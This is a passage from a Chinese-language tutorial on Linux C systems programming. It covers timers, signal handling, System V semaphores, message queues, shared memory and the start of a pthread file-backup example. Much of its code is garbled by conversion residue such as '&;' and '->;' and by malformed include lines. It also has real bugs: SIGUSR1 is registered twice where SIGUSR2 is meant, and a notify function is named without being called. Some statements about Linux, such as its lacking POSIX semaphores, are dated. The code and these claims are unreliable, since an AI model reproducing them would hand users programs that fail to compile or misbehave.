time 函数返回从 1970 年 1 月 1 日 0 点以来的秒数.存储在 time_t 结构之中.不过这个函数的返回值对于我们来说没有什么实际意义.这个时候我们使用第二个函数将秒数转化为字符串.. 这个函数的返回类型是固定的：一个可能值为. Thu Dec 7 14：58：59 2000 这个字符串的长度是固定的为 26

2. 时间的测量

有时候我们要计算程序执行的时间.比如我们要对算法进行时间分析..这个时候可以使用下面这个函数.

```
#include <sys/time.h>;

int gettimeofday(struct timeval *tv,struct timezone *tz);
strut timeval {
long tv_sec; /* 秒数 */
long tv_usec; /* 微秒数 */
};
```

gettimeofday 将时间保存在结构 tv 之中.tz 一般我们使用 NULL 来代替.

```
#include <sys/time.h<
#include <stdio.h<
#include <math.h<
void function()
{
unsigned int i,j;
double y;
for(i=0;i<1000;i++)
for(j=0;j<1000;j++)
y=sin((double)i);
}
main()
```

```
{
struct timeval tpstart,tpend;
float timeuse;
gettimeofday(&tpstart,NULL);
function();
gettimeofday(&tpend,NULL);
timeuse=1000000*(tpend.tv_sec-tpstart.tv_sec)+
tpend.tv_usec-tpstart.tv_usec;
timeuse/=1000000;
printf("Used Time：%f\n",timeuse);
exit(0);
}
```

这个程序输出函数的执行时间,我们可以使用这个来进行系统性能的测试,或者是函数算法的效率分析.在我机器上的一个输出结果是： Used Time：0.556070

3．计时器的使用

Linux 操作系统为每一个进程提供了 3 个内部间隔计时器.

ITIMER_REAL：减少实际时间.到时的时候发出 SIGALRM 信号.
ITIMER_VIRTUAL：减少有效时间(进程执行的时间).产生 SIGVTALRM 信号.
ITIMER_PROF：减少进程的有效时间和系统时间(为进程调度用的时间).这个经常和上面一个使用用来计算系统内核时间和用户时间.产生 SIGPROF 信号.
具体的操作函数是：

```
#include <sys/time.h>;
int getitimer(int which,struct itimerval *value);
int setitimer(int which,struct itimerval *newval,
struct itimerval *oldval);
struct itimerval {
struct timeval it_interval;
struct timeval it_value;
}
```

getitimer 函数得到间隔计时器的时间值.保存在 value 中 setitimer 函数设置间隔计时器的时间值为 newval.并将旧值保存在 oldval 中. which 表示使用三个计时器中的哪一个. itimerval 结构中的 it_value 是减少的时间,当这个值为 0 的时候就发出相应的信号了. 然后设置为 it_interval 值.

```
#include <sys/time.h>;
#include <stdio.h>;
#include <unistd.h>;
#include <signal.h>;
#include <string.h>;
#define PROMPT "时间已经过去了两秒钟\n\a"
```

```
char *prompt=PROMPT;
unsigned int len;
void prompt_info(int signo)
{
write(STDERR_FILENO,prompt,len);
}
void init_sigaction(void)
{
struct sigaction act;
act.sa_handler=prompt_info;
act.sa_flags=0;
sigemptyset(&act.sa_mask);
sigaction(SIGPROF,&act,NULL);
}
void init_time()
{
struct itimerval value;
value.it_value.tv_sec=2;
value.it_value.tv_usec=0;
value.it_interval=value.it_value;
setitimer(ITIMER_PROF,&value,NULL);
}
int main()
{
len=strlen(prompt);
init_sigaction();
init_time();
while(1);
exit(0);
}
```

这个程序每执行两秒中之后会输出一个提示.

第五章 信号处理

前 言

这一章我们讨论一下 Linux 下的信号处理函数.

Linux 下的信号处理函数：

- 信号的产生
- 信号的处理
- 其它信号函数
- 一个实例

1. 信号的产生

Linux 下的信号可以类比于 DOS 下的 INT 或者是 Windows 下的事件.在有一个信号发生时候相信的信号就会发送给相应的进程.在 Linux 下的信号有以下几个. 我们使用 kill -l 命令可以得到以下的输出结果：

1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD
18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN
22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO
30) SIGPWR

关于这些信号的详细解释请查看 man 7 signal 的输出结果. 信号事件的发生有两个来源：一个是硬件的原因(比如我们按下了键盘),一个是软件的原因(比如我们使用系统函数或者是命令发出信号). 最常用的四个发出信号的系统函数是 kill, raise, alarm 和 setitimer 函数. setitimer 函数我们在计时器的使用 那一章再学习.

```
#include <sys/types.h>;
#include <signal.h>;
#include <unistd.h>;
int kill(pid_t pid,int sig);
int raise(int sig);
unisigned int alarm(unsigned int seconds);
```

kill 系统调用负责向进程发送信号 sig.
如果 pid 是正数,那么向信号 sig 被发送到进程 pid.
如果 pid 等于 0,那么信号 sig 被发送到所以和 pid 进程在同一个进程组的进程
如果 pid 等于-1,那么信号发给所有的进程表中的进程,除了最大的哪个进程号.
如果 pid 由于-1,和 0 一样,只是发送进程组是-pid.
我们用最多的是第一个情况.还记得我们在守护进程那一节的例子吗?我们那个时候用这个函数杀死了父进程守护进程的创建
raise 系统调用向自己发送一个 sig 信号.我们可以用上面那个函数来实现这个功能的.
alarm 函数和时间有点关系了,这个函数可以在 seconds 秒后向自己发送一个 SIGALRM 信号.. 下面这个函数会有什么结果呢?

```
#include <unistd.h>;
main()
{
unsigned int i;
alarm(1);
for(i=0;1;i++)
printf("I=%d",i);
```

}
SIGALRM 的缺省操作是结束进程,所以程序在 1 秒之后结束,你可以看看你的最后 I 值为多少,来比较一下大家的系统性能差异(我的是 2232).

2. 信号操作

有时候我们希望进程正确的执行,而不想进程受到信号的影响,比如我们希望上面那个程序在 1 秒钟之后不结束.这个时候我们就要进行信号的操作了.
信号操作最常用的方法是信号屏蔽.信号屏蔽要用到下面的几个函数.

```
#include <signal.h>;
int sigemptyset(sigset_t *set);
int sigfillset(sigset_t *set);
int sigaddset(sigset_t *set,int signo);
int sigdelset(sigset_t *set,int signo);
int sigismember(sigset_t *set,int signo);
int sigprocmask(int how,const sigset_t *set,sigset_t *oset);
```

sigemptyset 函数初始化信号集合 set,将 set 设置为空.sigfillset 也初始化信号集合,只是将信号集合设置为所有信号的集合.sigaddset 将信号 signo 加入到信号集合之中,sigdelset 将信号从信号集合中删除.sigismember 查询信号是否在信号集合之中.
sigprocmask 是最为关键的一个函数.在使用之前要先设置好信号集合 set.这个函数的作用是将指定的信号集合 set 加入到进程的信号阻塞集合之中去,如果提供了 oset 那么当前的进程信号阻塞集合将会保存在 oset 里面.参数 how 决定函数的操作方式.
SIG_BLOCK：增加一个信号集合到当前进程的阻塞集合之中.
SIG_UNBLOCK：从当前的阻塞集合之中删除一个信号集合.
SIG_SETMASK：将当前的信号集合设置为信号阻塞集合.
以一个实例来解释使用这几个函数.

```
#include <signal.h>;
#include <stdio.h>;
#include <math.h>;
#include <stdlib.h>;
int main(int argc,char **argv)
{
double y;
sigset_t intmask;
int i,repeat_factor;
if(argc!=2)
{
fprintf(stderr,"Usage：%s repeat_factor\n\a",argv[0]);
exit(1);
}
if((repeat_factor=atoi(argv[1]))<1)repeat_factor=10;
sigemptyset(&intmask); /* 将信号集合设置为空 */
```

```
sigaddset(&intmask,SIGINT); /* 加入中断 Ctrl+C 信号*/
while(1)
{
/*阻塞信号,我们不希望保存原来的集合所以参数为 NULL*/
sigprocmask(SIG_BLOCK,&intmask,NULL);
fprintf(stderr,"SIGINT signal blocked\n");
for(i=0;i<repeat_factor;i++)y=sin((double)i);
fprintf(stderr,"Blocked calculation is finished\n");
/* 取消阻塞 */
sigprocmask(SIG_UNBLOCK,&intmask,NULL);
fprintf(stderr,"SIGINT signal unblocked\n");
for(i=0;i<repeat_factor;i++)y=sin((double)i);
fprintf(stderr,"Unblocked calculation is finished\n");
}
exit(0);
}
```

程序在运行的时候我们要使用 Ctrl+C 来结束.如果我们在第一计算的时候发出 SIGINT 信号,由于信号已经屏蔽了,所以程序没有反映.只有到信号被取消阻塞的时候程序才会结束.
注意我们只要发出一次 SIGINT 信号就可以了,因为信号屏蔽只是将信号加入到信号阻塞集合之中,并没有丢弃这个信号.一旦信号屏蔽取消了,这个信号就会发生作用.
有时候我们希望对信号作出及时的反映的,比如当拥护按下 Ctrl+C 时,我们不想什么事情也不做,我们想告诉用户你的这个操作不好,请不要重试,而不是什么反映也没有的. 这个时候我们要用到 sigaction 函数.

```
#include <signal.h>;

int sigaction(int signo,const struct sigaction *act,
struct sigaction *oact);
struct sigaction {
void (*sa_handler)(int signo);
void (*sa_sigaction)(int siginfo_t *info,void *act);
sigset_t sa_mask;
int sa_flags;
void (*sa_restore)(void);
}
```

这个函数和结构看起来是不是有点恐怖呢.不要被这个吓着了,其实这个函数的使用相当简单的.我们先解释一下各个参数的含义. signo 很简单就是我们要处理的信号了,可以是任何的合法的信号.有两个信号不能够使用(SIGKILL 和 SIGSTOP). act 包含我们要对这个信号进行如何处理的信息.oact 更简单了就是以前对这个函数的处理信息了,主要用来保存信息的,一般用 NULL 就 OK 了.
信号结构有点复杂.不要紧我们慢慢的学习.
sa_handler 是一个函数型指针,这个指针指向一个函数,这个函数有一个参数.这个函数就是我们要进行的信号操作的函数. sa_sigaction,sa_restore 和 sa_handler 差不多的,只是参数不同罢了.这两个元素我们很少使用,就不管了.
sa_flags 用来设置信号操作的各个情况.一般设置为 0 好了.sa_mask 我们已经学习过了

在使用的时候我们用 sa_handler 指向我们的一个信号操作函数,就可以了.sa_handler 有两个特殊的值：SIG_DEL 和 SIG_IGN.SIG_DEL 是使用缺省的信号操作函数,而 SIG_IGN 是使用
忽略该信号的操作函数.
这个函数复杂,我们使用一个实例来说明.下面这个函数可以捕捉用户的 CTRL+C 信号.并输出一个提示语句.

```
#include <signal.h>;
#include <stdio.h>;
#include <string.h>;
#include <errno.h>;
#include <unistd.h>;
#define PROMPT "你想终止程序吗?"
char *prompt=PROMPT;
void ctrl_c_op(int signo)
{
write(STDERR_FILENO,prompt,strlen(prompt));
}
int main()
{
struct sigaction act;
act.sa_handler=ctrl_c_op;
sigemptyset(&act.sa_mask);
act.sa_flags=0;
if(sigaction(SIGINT,&act,NULL)<0)
{
fprintf(stderr,"Install Signal Action Error：  %s\n\a",strerror(errno));
exit(1);
}
while(1);
}
```

在上面程序的信号操作函数之中,我们使用了 write 函数而没有使用 fprintf 函数.是因为我们要考虑到下面这种情况.如果我们在信号操作的时候又有一个信号发生,那么程序该如何运行呢? 为了处理在信号处理函数运行的时候信号的发生,我们需要设置 sa_mask 成员. 我们将我们要屏蔽的信号添加到 sa_mask 结构当中去,这样这些函数在信号处理的时候就会被屏蔽掉的.

3. 其它信号函数

由于信号的操作和处理比较复杂,我们再介绍几个信号操作函数.

```
#include <unistd.h>;
#include <signal.h>;
```

int pause(void);
int sigsuspend(const sigset_t *sigmask);
pause 函数很简单,就是挂起进程直到一个信号发生了.而 sigsuspend 也是挂起进程只是在调用的时候用 sigmask 取代当前的信号阻塞集合.
#include <sigsetjmp>;
int sigsetjmp(sigjmp_buf env,int val);
void siglongjmp(sigjmp_buf env,int val);
还记得 goto 函数或者是 setjmp 和 longjmp 函数吗.这两个信号跳转函数也可以实现程序的跳转让我们可以从函数之中跳转到我们需要的地方.
由于上面几个函数,我们很少遇到,所以只是说明了一下,详细情况请查看联机帮助.

4. 一个实例

还记得我们在守护进程创建的哪个程序吗?守护进程在这里我们把那个程序加强一下. 下面这个程序会在也可以检查用户的邮件.不过提供了一个开关,如果用户不想程序提示有新的邮件到来,可以向程序发送 SIGUSR2 信号,如果想程序提供提示可以发送 SIGUSR1 信号.

```
#include <unistd.h>;
#include <stdio.h>;
#include <errno.h>;
#include <fcntl.h>;
#include <signal.h>;
#include <string.h>;
#include <pwd.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
/* Linux 的默任个人的邮箱地址是 /var/spool/mail/ */
#define MAIL_DIR "/var/spool/mail/"
/* 睡眠 10 秒钟 */
#define SLEEP_TIME 10
#define MAX_FILENAME 255
unsigned char notifyflag=1;
long get_file_size(const char *filename)
{
struct stat buf;
if(stat(filename,&;buf)==-1)
{
if(errno==ENOENT)return 0;
else return -1;
}
return (long)buf.st_size;
```

```
}
void send_mail_notify(void)
{
fprintf(stderr,"New mail has arrived\007\n");
}
void turn_on_notify(int signo)
{
notifyflag=1;
}
void turn_off_notify(int signo)
{
notifyflag=0;
}
int check_mail(const char *filename)
{
long old_mail_size,new_mail_size;
sigset_t blockset,emptyset;
sigemptyset(&;blockset);
sigemptyset(&;emptyset);
sigaddset(&;blockset,SIGUSR1);
sigaddset(&;blockset,SIGUSR2);
old_mail_size=get_file_size(filename);
if(old_mail_size<0)return 1;
if(old_mail_size>;0) send_mail_notify();
sleep(SLEEP_TIME);
while(1)
{
if(sigprocmask(SIG_BLOCK,&;blockset,NULL)<0) return 1;
while(notifyflag==0)sigsuspend(&;emptyset);
if(sigprocmask(SIG_SETMASK,&;emptyset,NULL)<0) return 1;
new_mail_size=get_file_size(filename);
if(new_mail_size>;old_mail_size)send_mail_notify;
old_mail_size=new_mail_size;
sleep(SLEEP_TIME);
}
}
int main(void)
{
char mailfile[MAX_FILENAME];
struct sigaction newact;
struct passwd *pw;
if((pw=getpwuid(getuid()))==NULL)
{
fprintf(stderr,"Get Login Name Error：%s\n\a",strerror(errno));
```

```
exit(1);
}
strcpy(mailfile,MAIL_DIR);
strcat(mailfile,pw->;pw_name);
newact.sa_handler=turn_on_notify;
newact.sa_flags=0;
sigemptyset(&;newact.sa_mask);
sigaddset(&;newact.sa_mask,SIGUSR1);
sigaddset(&;newact.sa_mask,SIGUSR2);
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,"Turn On Error：%s\n\a",strerror(errno));
newact.sa_handler=turn_off_notify;
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,"Turn Off Error：%s\n\a",strerror(errno));
check_mail(mailfile);
exit(0);
}
```

信号操作是一件非常复杂的事情,比我们想象之中的复杂程度还要复杂,如果你想彻底的弄清楚信号操作的各个问题,那么除了大量的练习以外还要多看联机手册.不过如果我们只是一般的使用的话,有了上面的几个函数也就差不多了. 我们就介绍到这里了.

第六章 消息管理

前 言

Linux 下的进程通信(IPC)

- POSIX 无名信号量
- System V 信号量
- System V 消息队列
- System V 共享内存

1.POSIX 无名信号量

如果你学习过操作系统,那么肯定熟悉 PV 操作了.PV 操作是原子操作.也就是操作是不可以中断的,在一定的时间内,只能够有一个进程的代码在 CPU 上面执行.在系统当中,有时候为了顺利的使用和保护共享资源,大家提出了信号的概念. 假设我们要使用一台打印机,如果在同一时刻有两个进程在向打印机输出,那么最终的结果会是什么呢.为了处理这种情况,POSIX 标准提出了有名信号量和无名信号量的概念,由于 Linux 只实现了无名信号量,我们在这里就只是介绍无名信号量了. 信号量的使用主要是用来保护共享资源,使的资源在一个时刻只有一个进程所拥有.为此我们可以使用一个信号灯.当信号灯的值为某个值的时候,就表明此时资源不可以使用.否则就表>;示可以使用.

为了提供效率,系统提供了下面几个函数

POSIX 的无名信号量的函数有以下几个：

```
#include <semaphore.h>;
int sem_init(sem_t *sem,int pshared,unsigned int value);
int sem_destroy(sem_t *sem);
int sem_wait(sem_t *sem);
int sem_trywait(sem_t *sem);
int sem_post(sem_t *sem);
int sem_getvalue(sem_t *sem);
```

sem_init 创建一个信号灯,并初始化其值为 value.pshared 决定了信号量能否在几个进程间共享.由于目前 Linux 还没有实现进程间共享信号灯,所以这个值只能够取 0. sem_destroy 是用来删除信号灯的.sem_wait 调用将阻塞进程,直到信号灯的值大于 0.这个函数返回的时候自动的将信号灯的值的件一.sem_post 和 sem_wait 相反,是将信号灯的内容加一同时发出信号唤醒等待的进程..sem_trywait 和 sem_wait 相同,不过不阻塞的,当信号灯的值为 0 的时候返回 EAGAIN,表示以后重试.sem_getvalue 得到信号灯的值.

由于 Linux 不支持,我们没有办法用源程序解释了.

这几个函数的使用相当简单的.比如我们有一个程序要向一个系统打印机打印两页.我们首先创建一个信号灯,并使其初始值为 1,表示我们有一个资源可用.然后一个进程调用 sem_wait 由于这个时候信号灯的值为 1,所以这个函数返回,打印机开始打印了,同时信号灯的值为 0 了. 如果第二个进程要打印,调用 sem_wait 时候,由于信号灯的值为 0,资源不可用,于是被阻塞了.当第一个进程打印完成以后,调用 sem_post 信号灯的值为 1 了,这个时候系统通知第二个进程,于是第二个进程的 sem_wait 返回.第二个进程开始打印了.

不过我们可以使用线程来解决这个问题的.我们会在后面解释什么是线程的.编译包含上面这几个函数的程序要加上 -lrt 选贤,以连接 librt.so 库

2. System V 信号量

为了解决上面哪个问题,我们也可以使用 System V 信号量.很幸运的

是 Linux 实现了 System V 信号量.这样我们就可以用实例来解释了. System V 信号量的函数主要有下面几个.

```
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/sem.h>;
key_t ftok(char *pathname,char proj);
int semget(key_t key,int nsems,int semflg);
int semctl(int semid,int semnum,int cmd,union semun arg);
int semop(int semid,struct sembuf *spos,int nspos);
struct sembuf {
short sem_num; /* 使用那一个信号 */
short sem_op; /* 进行什么操作 */
short sem_flg; /* 操作的标志 */
};
```

ftok 函数是根据 pathname 和 proj 来创建一个关键字.semget 创建一个信号量.成功时返回信号的 ID,key 是一个关键字,可以是用 ftok 创建的也可以是 IPC_PRIVATE 表明由系统选用一个关键字. nsems 表明我们创建的信号个数.semflg 是创建的权限标志,和我们创建一个文件的标志相同.

semctl 对信号量进行一系列的控制.semid 是要操作的信号标志,semnum 是信号的个数,cmd 是操作的命令.经常用的两个值是：SETVAL(设置信号量的值)和 IPC_RMID(删除信号灯). arg 是一个给 cmd 的参数.

semop 是对信号进行操作的函数.semid 是信号标志,spos 是一个操作数组表明要进行什么操作,nspos 表明数组的个数. 如果 sem_op 大于 0,那么操作将 sem_op 加入到信号量的值中,并唤醒等待信号增加的进程. 如果为 0,当信号量的值是 0 的时候,函数返回,否则阻塞直到信号量的值为 0. 如果小于 0,函数判断信号量的值加上这个负值.如果结果为 0 唤醒等待信号量为 0 的进程,如果小与 0 函数阻塞.如果大于 0,那么从信号量里面减去这个值并返回..

下面我们一以一个实例来说明这几个函数的使用方法.这个程序用标准错误输出来代替我们用的打印机.

```
#include <stdio.h>;
#include <unistd.h>;
#include <limits.h>;
#include <errno.h>;
#include <string.h>;
#include <stdlib.h>;
#include <sys/stat.h>;
#include <sys/wait.h>;
#include <sys/ipc.h>;
#include <sys/sem.h>;
#define PERMS S_IRUSR|S_IWUSR
void init_semaphore_struct(struct sembuf *sem,int semnum,
int semop,int semflg)
{
/* 初始话信号灯结构 */
```

```
sem->;sem_num=semnum;
sem->;sem_op=semop;
sem->;sem_flg=semflg;
}
int del_semaphore(int semid)
{
/* 信号灯并不随程序的结束而被删除,如果我们没删除的话(将 1 改为 0)
可以用 ipcs 命令查看到信号灯,用 ipcrm 可以删除信号灯的
*/
#if 1
return semctl(semid,0,IPC_RMID);
#endif
}
int main(int argc,char **argv)
{
char buffer[MAX_CANON],*c;
int i,n;
int semid,semop_ret,status;
pid_t childpid;
struct sembuf semwait,semsignal;
if((argc!=2)||((n=atoi(argv[1]))<1))
{
fprintf(stderr,"Usage：%s number\n\a",argv[0]);
exit(1);
}
/* 使用 IPC_PRIVATE 表示由系统选择一个关键字来创建 */
/* 创建以后信号灯的初始值为 0 */
if((semid=semget(IPC_PRIVATE,1,PERMS))==-1)
{
fprintf(stderr,"[%d]：Acess Semaphore Error：%s\n\a",
getpid(),strerror(errno));
exit(1);
}
/* semwait 是要求资源的操作(-1) */
init_semaphore_struct(&semwait,0,-1,0);
/* semsignal 是释放资源的操作(+1) */
init_semaphore_struct(&semsignal,0,1,0);
/* 开始的时候有一个系统资源(一个标准错误输出) */
if(semop(semid,&semsignal,1)==-1)
{
fprintf(stderr,"[%d]：Increment Semaphore Error：%s\n\a",
getpid(),strerror(errno));
if(del_semaphore(semid)==-1)
fprintf(stderr,"[%d]：Destroy Semaphore Error：%s\n\a",
```

```
getpid(),strerror(errno));
exit(1);
}
/* 创建一个进程链 */
for(i=0;i<n;i++)
if(childpid=fork()) break;
sprintf(buffer,"[i=%d]-->;[Process=%d]-->;[Parent=%d]-->;[Child=%d]\n",
i,getpid(),getppid(),childpid);
c=buffer;
/* 这里要求资源,进入原子操作 */
while(((semop_ret=semop(semid,&semwait,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)
{
fprintf(stderr,"[%d]：Decrement Semaphore Error：%s\n\a",
getpid(),strerror(errno));
}
else
{
while(*c!='\0')fputc(*c++,stderr);
/* 原子操作完成,赶快释放资源 */
while(((semop_ret=semop(semid,&semsignal,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)
fprintf(stderr,"[%d]：Increment Semaphore Error：%s\n\a",
getpid(),strerror(errno));
}
/* 不能够在其他进程反问信号灯的时候,我们删除了信号灯 */
while((wait(&status)==-1)&&(errno==EINTR));
/* 信号灯只能够被删除一次的 */
if(i==1)
if(del_semaphore(semid)==-1)
fprintf(stderr,"[%d]：Destroy Semaphore Error：%s\n\a",
getpid(),strerror(errno));
exit(0);
}
```

信号灯的主要用途是保护临界资源(在一个时刻只被一个进程所拥有).

3．SystemV 消息队列

为了便于进程之间通信,我们可以使用管道通信 SystemV 也提供了一些函数来实现进程的通信.这就是消息队列.

```
#include <sys/types.h>;
```

```
#include <sys/ipc.h>;
#include <sys/msg.h>;
int msgget(key_t key,int msgflg);
int msgsnd(int msgid,struct msgbuf *msgp,int msgsz,int msgflg);
int msgrcv(int msgid,struct msgbuf *msgp,int msgsz,
long msgtype,int msgflg);
int msgctl(Int msgid,int cmd,struct msqid_ds *buf);

struct msgbuf {
long msgtype; /* 消息类型 */
..... /* 其他数据类型 */
}
```

msgget 函数和 semget 一样,返回一个消息队列的标志.msgctl 和 semctl 是对消息进行控制 .. msgsnd 和 msgrcv 函数是用来进行消息通讯的.msgid 是接受或者发送的消息队列标志. msgp 是接受或者发送的内容.msgsz 是消息的大小. 结构 msgbuf 包含的内容是至少有一个为 msgtype.其他的成分是用户定义的.对于发送函数 msgflg 指出缓冲区用完时候的操作. 接受函数指出无消息时候的处理.一般为 0. 接收函数 msgtype 指出接收消息时候的操作.

如果 msgtype=0,接收消息队列的第一个消息.大于 0 接收队列中消息类型等于这个值的第一个消息.小于 0 接收消息队列中小于或者等于 msgtype 绝对值的所有消息中的最小一个消息. 我们以一个实例来解释进程通信.下面这个程序有 server 和 client 组成.先运行服务端后运行客户端.

服务端 server.c

```
#include <stdio.h>;
#include <string.h>;
#include <stdlib.h>;
#include <errno.h>;
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/stat.h>;
#include <sys/msg.h>;
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
struct msgtype {
long mtype;
char buffer[BUFFER+1];
};
int main()
{
struct msgtype msg;
key_t key;
int msgid;
```

```
if((key=ftok(MSG_FILE,'a'))==-1)
{
fprintf(stderr,"Creat Key Error：%s\a\n",strerror(errno));
exit(1);
}
if((msgid=msgget(key,PERM|IPC_CREAT|IPC_EXCL))==-1)
{
fprintf(stderr,"Creat Message Error：%s\a\n",strerror(errno));
exit(1);
}
while(1)
{
msgrcv(msgid,&msg,sizeof(struct msgtype),1,0);
fprintf(stderr,"Server Receive：%s\n",msg.buffer);
msg.mtype=2;
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
}
exit(0);
}
--------------------------------------------------------------------------
----
客户端(client.c)
#include <stdio.h>;
#include <string.h>;
#include <stdlib.h>;
#include <errno.h>;
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/msg.h>;
#include <sys/stat.h>;
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
struct msgtype {
long mtype;
char buffer[BUFFER+1];
};
int main(int argc,char **argv)
{
struct msgtype msg;
key_t key;
int msgid;
if(argc!=2)
{
```

```
fprintf(stderr,"Usage：%s string\n\a",argv[0]);
exit(1);
}
if((key=ftok(MSG_FILE,'a'))==-1)
{
fprintf(stderr,"Creat Key Error：%s\a\n",strerror(errno));
exit(1);
}
if((msgid=msgget(key,PERM))==-1)
{
fprintf(stderr,"Creat Message Error：%s\a\n",strerror(errno));
exit(1);
}
msg.mtype=1;
strncpy(msg.buffer,argv[1],BUFFER);
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
memset(&msg,'\0',sizeof(struct msgtype));
msgrcv(msgid,&msg,sizeof(struct msgtype),2,0);
fprintf(stderr,"Client receive：%s\n",msg.buffer);
exit(0);
}
```

注意服务端创建的消息队列最后没有删除,我们要使用 ipcrm 命令来删除的.

4．SystemV 共享内存

还有一个进程通信的方法是使用共享内存.SystemV 提供了以下几个函数以实现共享内存.

```
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/shm.h>;
int shmget(key_t key,int size,int shmflg);
void *shmat(int shmid,const void *shmaddr,int shmflg);
int shmdt(const void *shmaddr);
int shmctl(int shmid,int cmd,struct shmid_ds *buf);
```

shmget 和 shmctl 没有什么好解释的.size 是共享内存的大小. shmat 是用来连接共享内存的.shmdt 是用来断开共享内存的.不要被共享内存词语吓倒,共享内存其实很容易实现和使用的.shmaddr,shmflg 我们只要用 0 代替就可以了.在使用一个共享内存之前我们调用 shmat 得到共享内存的开始地址,使用结束以后我们使用 shmdt 断开这个内存.

```
#include <stdio.h>;
#include <string.h>;
#include <errno.h>;
```

```
#include <unistd.h>;
#include <sys/stat.h>;
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/shm.h>;
#define PERM S_IRUSR|S_IWUSR
int main(int argc,char **argv)
{
int shmid;
char *p_addr,*c_addr;
if(argc!=2)
{
fprintf(stderr,"Usage：%s\n\a",argv[0]);
exit(1);
}
if((shmid=shmget(IPC_PRIVATE,1024,PERM))==-1)
{
fprintf(stderr,"Create Share Memory Error：%s\n\a",strerror(errno));
exit(1);
}
if(fork())
{
p_addr=shmat(shmid,0,0);
memset(p_addr,'\0',1024);
strncpy(p_addr,argv[1],1024);
exit(0);
}
else
{
c_addr=shmat(shmid,0,0);
printf("Client get %s",c_addr);
exit(0);
}
}
```

这个程序是父进程将参数写入到共享内存,然后子进程把内容读出来.最后我们要使用 ipcrm 释放资源的.先用 ipcs 找出 ID 然后用 ipcrm shm ID 删除.

后 记

进程通信(IPC)是网络程序的基础,在很多的网络程序当中会大量的使用进程通信的概念和知识.其实进程通信是一件非常复杂的事情,我在这里只是简单的介绍了一下.如果你想学习进程通信的详细知识,最好的办法是自己不断的写程序和看联机手册.现在网络上有了很多的知识可以去参考.可惜我看到的很多都是英文编写的.如果你找到了有中文的版本请尽快告诉我.谢谢!

第七章 线程操作

前 言

介绍在 Linux 下线程的创建和基本的使用. Linux 下的线程是一个非常复杂的问题,由于我对线程的学习不时很好,我在这里只是简单的介绍线程的创建和基本的使用,关于线程的高级使用(如线程的属性,线程的互斥,线程的同步等等问题)可以参考我后面给出的资料. 现在关于线程的资料在网络上可以找到许多英文资料,后面我罗列了许多链接,对线程的高级属性感兴趣的话可以参考一下. 等到我对线程的了解比较深刻的时候,我回来完成这篇文章.如果您对线程了解的详尽我也非常高兴能够由您来完善.

先介绍什么是线程.我们编写的程序大多数可以看成是单线程的.就是程序是按照一定的顺序来执行.如果我们使用线程的话,程序就会在我们创建线成的地方分叉,变成两个"程序"在执行.粗略的看来好象和子进程差不多的,其实不然.子进程是通过拷贝父进程的地址空间来执行的.而线程是通过共享程序代码来执行的,讲的通俗一点就是线程的相同的代码会被执行几次.使用线程的好处是可以节省资源,由于线程是通过共享代码的,所以没有进程调度那么复杂。

1.线程的创建和使用

线程的创建是用下面的几个函数来实现的.

#include <pthread.h>;
int pthread_create(pthread_t *thread,pthread_attr_t *attr,
void *(*start_routine)(void *),void *arg);
void pthread_exit(void *retval);
int pthread_join(pthread *thread,void **thread_return);
pthread_create 创建一个线程,thread 是用来表明创建线程的 ID,attr 指出线程创建时候的属性,我们用 NULL 来表明使用缺省属性.start_routine 函数指针是线程创建成功后开始执行的函数,arg 是这个函数的唯一一个参数.表明传递给 start_routine 的参数. pthrea d_exit 函数和 exit 函数类似用来退出线程.这个函数结束线程,释放函数的资源,并在最后阻塞,直到其他线程使用 pthread_join 函数等待它.然后将*retval 的值传递给**thread_ return.由于这个函数释放所以的函数资源,所以 retval 不能够指向函数的局部变量. pt hread_join 和 wait 调用一样用来等待指定的线程. 下面我们使用一个实例来解释一下使用方法.在实践中,我们经常要备份一些文件.下面这个程序可以实现当前目录下的所有文件备份.备份后的后缀名为 bak

```
#include <stdio.h>;
#include <unistd.h>;
#include <stdlib.h>;
#include <string.h>;
#include <errno.h>;
#include <pthread.h>;
#include <dirent.h>;
#include <fcntl.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <sys/time.h>;
#define BUFFER 512
struct copy_file {
int infile;
int outfile;
};
void *copy(void *arg)
{
int infile,outfile;
int bytes_read,bytes_write,*bytes_copy_p;
char buffer[BUFFER],*buffer_p;
struct copy_file *file=(struct copy_file *)arg;
infile=file->;infile;
outfile=file->;outfile;
/* 因为线程退出时,所有的变量空间都要被释放,所以我们只好自己分配内存了 */
```

```
if((bytes_copy_p=(int *)malloc(sizeof(int)))==NULL) pthread_exit(NULL);
bytes_read=bytes_write=0;
*bytes_copy_p=0;
/* 还记得怎么拷贝文件吗 */
while((bytes_read=read(infile,buffer,BUFFER))!=0)
{
if((bytes_read==-1)&&(errno!=EINTR))break;
else if(bytes_read>;0)
{
buffer_p=buffer;
while((bytes_write=write(outfile,buffer_p,bytes_read))!=0)
{
if((bytes_write==-1)&&(errno!=EINTR))break;
else if(bytes_write==bytes_read)break;
else if(bytes_write>;0)
{
buffer_p+=bytes_write;
bytes_read-=bytes_write;
}
}
if(bytes_write==-1)break;
*bytes_copy_p+=bytes_read;
}
}
close(infile);
close(outfile);
pthread_exit(bytes_copy_p);
}
int main(int argc,char **argv)
{
pthread_t *thread;
struct copy_file *file;
int byte_copy,*byte_copy_p,num,i,j;
char filename[BUFFER];
